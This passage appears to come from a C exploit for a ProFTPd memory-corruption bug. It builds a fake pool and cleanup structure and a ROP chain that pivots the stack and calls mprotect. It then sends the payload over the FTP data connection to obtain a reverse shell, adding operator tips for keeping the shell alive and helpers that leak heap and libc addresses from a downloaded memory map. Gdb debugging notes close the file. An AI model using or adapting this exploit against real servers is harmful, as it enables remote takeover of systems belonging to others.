 *     child_cleanup_cb = 0x4141414141414141, # will be our stack
 *     next = 0x9090909090909090
 *   }
 * now in gdb break pool.c:856 if c == 0x771111111177
 */
    memcpy(buf, "3333 CCC\x77\x11\x11\x11\x11\x77\0", 15); // we should not send real commands, e.g. "APPE" otherwise CVE-2020-9274 will be triggered and mess up with our payload
#endif
    r = send(sock_ctrl, (void *)buf, 15, 0);
    sleep(1);
    sync(); // seems to be required just on local connections

    if (sock_ctrl) {
        printf("[+] closing FTP and triggering the vulnerability\n");
        //close(sock_ctrl);
        shutdown(sock_ctrl, SHUT_RDWR);
    } else {
        printf("\n[-] humm strange, why socket is already closed?!\n");
    }

    resp_pool.first         = (char *)0xCAFECAFECAFECAFE;         // resp_pool + 0x00
    resp_pool.last          = RESP_POOL + 0x10;                   // resp_pool + 0x08, p->last = &p->cleanups
    resp_pool.cleanups      = (char *)0x4444444444444444;         // resp_pool + 0x10, must be greater than p->sub_next
    resp_pool.sub_pools     = SESS_CURR_CMD_NOTES - 0x28 + 0x18;  // resp_pool + 0x18, p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 + 0x18
    resp_pool.sub_next      = GID_TAB - 0xc8;                     // resp_pool + 0x20, p->sub_next = ((char *)&gid_tab->chains) - 0xc8 # sometimes 0xe0 or 0xf8
    resp_pool.sub_prev      = (char *)0x4141414141414141;         // resp_pool + 0x28
    resp_pool.parent        = (char *)0x4141414141414141;         // resp_pool + 0x30
    resp_pool.free_favail   = (char *)0x4141414141414141;         // resp_pool + 0x38
    resp_pool.tag           = (char *)0x4444444444444444;         // resp_pool + 0x40, pop rsp; ret
    cleanup.data            = (char *)RESP_POOL + 0x68;           // resp_pool + 0x48, our new rsp, doing stack pivoting, &cleanup->next + 0x8
    cleanup.plain_clnup_cb  = authnone_marshal_16;                // resp_pool + 0x50, <authnone_marshal+16>: push rax; pop rsp; lea rsi,[rax+0x48]; mov rax,QWORD PTR [rdi+0x8]; jmp QWORD PTR [rax+0x18]
    cleanup.child_clnup_cb  = (char *)0x4141414141414141;         // resp_pool + 0x58
    cleanup.next            = (char *)0x9090909090909090;         // resp_pool + 0x60:  crap

    /* build our final shellcode to be sent throught the FTP data port */
    memcpy(&shellcode[0x00], &resp_pool.first, 8);                // not used, this is our "token" in memory
    memcpy(&shellcode[0x08], &resp_pool.last, 8);                 // address of &p->cleanups below
    memcpy(&shellcode[0x10], &resp_pool.cleanups, 8);             // must be a high value, so 0x4141414141414141
    memcpy(&shellcode[0x18], &resp_pool.sub_pools, 8);            // (char *)&session.curr_cmd_rec->notes->chains - 0x28 + 0x18
    memcpy(&shellcode[0x20], &resp_pool.sub_next, 8);             // (char *)&gid_tab->chains - 0xc8
    memcpy(&shellcode[0x28], &resp_pool.sub_prev, 8);             // 
    memcpy(&shellcode[0x30], &resp_pool.parent, 8);               // this is our future stack that we'll mprotect
    memcpy(&shellcode[0x38], &resp_pool.free_favail, 8);          // not used, so 0x4141414141414141
    memcpy(&shellcode[0x40], &resp_pool.tag, 8);                  // 
    memcpy(&shellcode[0x48], &cleanup.data, 8);                   // c->data = &resp_pool->tag (this will be our stack in $rdi)
    memcpy(&shellcode[0x50], &cleanup.plain_clnup_cb, 8);         // c->plain_cleanup_cb = <authnone_marshal+16>: push rax; pop rsp; lea rsi,[rax+0x48]; mov rax,QWORD PTR [rdi+0x8]; jmp QWORD PTR [rax+0x18]
    memcpy(&shellcode[0x58], &cleanup.child_clnup_cb, 8);         // c->child_cleanup_cb = <__setreuid+64>: pop rdx; add rsp,0x38; ret
    memcpy(&shellcode[0x60], &cleanup.next, 8);                   // pop rbx = any crap
    memcpy(&shellcode[0x68], &MPROTECT_RDI, 8);                   // rdi = mprotect 1st parameter, starting of memory page containing our shellcode
    memcpy(&shellcode[0x70], &RESP_POOL , 8);                     // // rdi = mprotect 3rd parameter, 7=rwx
            shellcode[0x78] = 0x77;                               // pop rsi = mprotect 2nd parameter, len 0x2000, so 2 pages
            shellcode[0x79] = 0x20;
    memcpy(&shellcode[0x80], &do_dlopen_69, 8);                   // <do_dlopen+69>: pop rax; pop rdx; pop rbx; ret
            shellcode[0x88] = 0x0a;                               // pop rax = mprotect syscall number
    memcpy(&shellcode[0x90], &iconv_197, 8);                      // <__gconv_close_transform+225>: pop rsi; ret
    memcpy(&shellcode[0x98], &cleanup.next, 8);                   // 
    memcpy(&shellcode[0xa0], &cleanup.next, 8);                   // 
    memcpy(&shellcode[0xa8], &cleanup.next, 8);                   // 
    memcpy(&shellcode[0xb0], &cleanup.next, 8);                   // 
    memcpy(&shellcode[0xb8], &cleanup.next, 8);                   // 
    memcpy(&shellcode[0xc0], &cleanup.next, 8);                   // 
    memcpy(&shellcode[0xc8], &cleanup.next, 8);                   // 
    memcpy(&shellcode[0xd0], &cleanup.next, 8);                   // 
    memcpy(&shellcode[0xd8], &cleanup.next, 8);                   // 
    memset(&shellcode[0xe0], 0x11, rshell_size);                  // reverse shell

    for(size_t i=0xe0+rshell_size+8; i<SEND_BUFF_SIZE; i++) {
        shellcode[i] = 0x77; // fill the remaining buffer with garbage
    }
    shellcode[SEND_BUFF_SIZE-1] = '\0';

    printf("[+] resp_pool = %p\n", RESP_POOL);
    printf("[+] session.curr_cmd_rec->notes = %p\n", SESS_CURR_CMD_NOTES);
    printf("[+] gid_tab = %p\n", GID_TAB);
    printf("[+] resp_pool = {\n");
    printf("       first = %p\n", resp_pool.first);
    printf("       last =  %p <resp_pool+0x10>\n", resp_pool.last);
    printf("       cleanups = %p <resp_pool+0x20>\n", resp_pool.cleanups);
    printf("       sub_pools =  %p <&session.curr_cmd_rec->notes->chains - 0x28 + 0x18>\n", resp_pool.sub_pools);
    printf("       sub_next = %p\n", resp_pool.sub_next);
    printf("       sub_prev = %p <__gconv_close_transform+225>\n", resp_pool.sub_prev);
    printf("       parent = %p\n", resp_pool.parent);
    printf("       free_first_avail = %p\n", resp_pool.free_favail);
    printf("       tag = %p\n", resp_pool.tag);
    printf("}\n");

    /*
     * One important thing to remember is that we need to trap SIGALRM on our
     * shell, because when exec'ing /bin/sh the ProFTPd (child) process will 
     * generate a SIGALRM signal that, if not trapped, will kill our shell.
     * So as soon as received the remote callback connection you should issue:
     * 
     * $ trap '' ALRM
     * 
     * This prevents our shell to be killed after reaching "timeout-idle".
     * If sh complains yet, enter "sh" twice to start other instances.
     */

    printf("[+] sending payload: ");
    unsigned int ec = 0;
    unsigned int es = sizeof(ec);
    do {
        printf("+");
        printf("shellcode == %s\n", shellcode); // LIXO
        r = send(sock_data, shellcode, SEND_BUFF_SIZE, 0);
        //fflush(NULL); // required just in local server and exploit
        sync();       // same here, can delete if exploiting remote targets
        sleep(1);
        getsockopt(sock_data, SOL_SOCKET, SO_ERROR, &ec, &es);
    } while (ec == 0);
#ifdef DEBUG4
    asm("int3");
#endif
    printf("\n[+] if ASLR is disabled on remote target and you're lucky, you might got a shell %s\n", "\xf0\x9f\x98\x88");

    free(shellcode);
    return 0;
}

/*
 * small routine to calculate port number from network byte order to little
 * endian format (later htons() will convert it back again no network order).
 */
unsigned int get_remote_port(char *pasv_answer) {
    unsigned short int major = 0, minor = 0;
    char *p;

    p = rindex(pasv_answer, ')');
    *p = '\0';
    p = rindex(pasv_answer, ',');
    *p = '\0';
    minor = atoi(++p);

    p = rindex(pasv_answer, ',');
    major = atoi(++p);

    return 256*major+minor; // return port number in little endian format
}

/*
 * Auxiliary function to find the base address that we are interested, which
 * are heap and libc base addresses (similar to grep|sed). We get the first
 * address occurrence and stop processing the file. The caller should fopen
 * and fclose FILE *fp.
 * 
 * Explanation about parameters:
 * what: the string we want to find base address;
 * fp: FILE pointer to maps.txt that we just downloaded;
 * index: 0=start address in /proc/self/maps file format; 1=ending address.
 * 
 * Returns the address already converted to unsigned long.
 */
unsigned long get_mem_addr(const char *what, FILE *fp, int index) {
    char *p;
    char buf[400] = {0}; // increase if you think remote path is longer
    unsigned long addr = 0L;

    (void) fseek(fp, 0L, SEEK_SET);

    while (p = fgets(buf, 200, fp)) {
        if (strstr(buf, what)) {
            p = strtok(buf, "-");
            if (p) {
                if (index == 1) {
                    char *t;
                    //asm("int3");
                    p = strtok(NULL, "-");
                    t = strchr(p, ' ');
                    if(t) *t='\0';
                }
                sprintf(buf, "%s", p);
                addr = strtoul(buf, NULL, 16);
                break;
            }
        }
    }

    return addr;
}


/*
 * the below gives me overflow control on WHERE
 * whith just 1 memory address guess
(gdb) p p->last = ((char *)session.curr_cmd_rec) + 0x88
(gdb) p p->sub_pools = ((char *)session.curr_cmd_rec) + 0x28 
(gdb) c
resp_pool = 0x5555556e8720;
new_pool = 0x5555556bd2e0;
*/


/*
 * coloque um tbreak destroy_pool depois de fazer isso pra ver se tem alguma
 * possibilidae de usar essa primitiva proxima da mesma _SC_PAGE_SIZE que o
 * session.curr_cmd_rec->notes na heap.
 * also, pr_auth_endpwent() does the cleaning of auth_tab at first, so maybe
 * it's on a more appropriate memory page - to check.
(gdb) p p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28
(gdb) p *(unsigned long long *)((char *)session.curr_cmd_rec->notes + 0x128) = ((char *)session.curr_cmd_rec->notes) - 0x64
(gdb) p p->last = ((char *)session.curr_cmd_rec->notes)+0x118
(gdb) p *p->last
*/


/* 
 * need to finish what I was thinking below:
gef➤  set p->sub_pools=(char *)0x7fffffffd910
gef➤  p *resp_pool 
$24 = {
  first = 0x4141414141414141,
  last = 0x0,
  cleanups = 0x4242424242424242,
  sub_pools = 0x5555556bb1c0,
  sub_next = 0x4343434343434343,
  sub_prev = 0x4343434343434343,
  parent = 0x4343434343434343,
  free_first_avail = 0x4343434343434343 <error: Cannot access memory at address 0x4343434343434343>,
  tag = 0x4343434343434343 <error: Cannot access memory at address 0x4343434343434343>
}
then later it will gain RIP very near:
   0x5555556bb1ba                  add    BYTE PTR [rax], al
   0x5555556bb1bc                  add    BYTE PTR [rax], al
   0x5555556bb1be                  add    BYTE PTR [rax], al
 → 0x5555556bb1c0                  movabs al, ds:0xa000005555556bb1
   0x5555556bb1c9                  mov    cl, 0x6b
   0x5555556bb1cb                  push   rbp
   0x5555556bb1cc                  push   rbp
   0x5555556bb1cd                  push   rbp
   0x5555556bb1ce                  add    BYTE PTR [rax], al
───────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "proftpd", stopped 0x5555556bb1c0 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────
[#0] 0x5555556bb1c0 → movabs al, ds:0xa000005555556bb1
[#1] 0x5555556b9cd8 → add BYTE PTR [rax], al
[#2] 0x55555563c3b1 → sub al, BYTE PTR [rax]
──────────────────────────────────────────────────────────────────────────────
maybe I can use other FTP commands to change the memory content beforehand, e.g.
default_data_netio is next to &resp_pool, maybe it's possible to overflow it
and issue some FTP command to make use of this memory.
*/